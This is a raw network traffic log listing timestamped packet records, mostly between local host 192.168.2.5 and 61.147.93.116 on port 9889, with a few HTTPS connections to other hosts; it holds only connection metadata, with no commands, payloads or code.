Oct 18, 2024 23:46:18.594160080 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594170094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594192982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594206095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594216108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594253063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594266891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594302893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594316006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594352007 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594356060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594388962 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594397068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594443083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594448090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594479084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594491005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594515085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594533920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594553947 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594567060 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594604969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594726086 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594764948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594786882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594800949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594815969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594834089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594854116 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594870090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594886065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594918966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.594928026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.594975948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.619801044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.619842052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.619895935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.619898081 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.619930029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.619930983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.619956017 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.619968891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.619990110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.620006084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.620029926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.620064020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.641521931 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.641547918 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.641688108 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.641750097 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.641819000 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.660283089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.660307884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.660325050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.660387993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.660449028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.665524960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.665554047 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.665569067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.665608883 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.665638924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670286894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670329094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670382023 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670439959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670440912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670476913 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670500994 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670511007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670525074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670551062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670562983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670583010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.670608044 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.670638084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671329975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671366930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671407938 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671448946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671483040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671516895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671538115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671550989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671557903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671585083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671597958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671621084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671633005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671655893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671664953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671704054 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671874046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671933889 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.671952009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.671986103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672005892 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672035933 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672102928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672153950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672159910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672190905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672200918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672226906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672240973 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672264099 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.672275066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.672323942 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711226940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711332083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711376905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711443901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711445093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711496115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711540937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711591959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711597919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711627007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711659908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711673021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711716890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711736917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711755037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711767912 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711781025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711803913 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711822033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711837053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711853981 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711883068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711891890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711941004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711965084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.711975098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.711987972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712008953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712023020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712043047 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712059021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712075949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712105036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712110996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712148905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712156057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712362051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712394953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712416887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712430954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.712461948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.712469101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.737189054 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.737221956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.737256050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.737287998 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.737291098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.737320900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.737328053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.737386942 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.759066105 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.759090900 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.759229898 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.759253025 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.759320974 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.776941061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.777031898 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.777153015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.777185917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.777204990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.777240038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.782792091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.782826900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.782851934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.782859087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.782886028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.782895088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.786868095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.786921024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.786935091 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.786967039 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.787026882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.787043095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.787059069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.787072897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.787101030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788135052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788161039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788175106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788193941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788214922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788288116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788302898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788319111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788337946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788367987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788496017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788547993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788568974 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788584948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788616896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788638115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788659096 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788676023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.788707972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.788738966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789021015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789066076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789069891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789082050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789098024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789108992 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789129972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789150000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789371967 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789416075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789443970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789460897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789484024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.789490938 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789515018 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.789536953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828442097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828458071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828474045 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828489065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828505039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828520060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828552961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828589916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828605890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828628063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828651905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828758001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828773975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828788996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828803062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828804970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828819036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.828840971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.828881025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.829416990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829432964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829447985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829463005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829478025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829482079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.829515934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.829561949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.829754114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829768896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829783916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.829816103 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.829855919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.853651047 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853669882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853687048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853703022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853744984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.853773117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853789091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.853809118 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.853838921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.877429008 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.877454996 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.877551079 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.877580881 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.877672911 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.894362926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.894381046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.894397974 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.894460917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.894526005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.901124954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.901140928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.901156902 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.901187897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.901232958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.901447058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.904555082 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.904572010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.904588938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.904612064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.904648066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.904695034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.904711008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.904741049 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.904783964 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.905592918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905606985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905622959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905643940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.905679941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.905759096 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905774117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905781984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.905848026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906075001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906090021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906105995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906119108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906124115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906160116 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906203985 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906363010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906418085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906528950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906543970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906559944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906574011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.906574965 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.906624079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.907030106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.907043934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.907058954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.907069921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.907100916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.911199093 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:18.911246061 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:18.911338091 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:18.913369894 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:18.913386106 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:18.946504116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946585894 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946630955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946645975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946669102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946686029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946686983 CEST	49720	9889	192.168.2.5	61.147.93.116
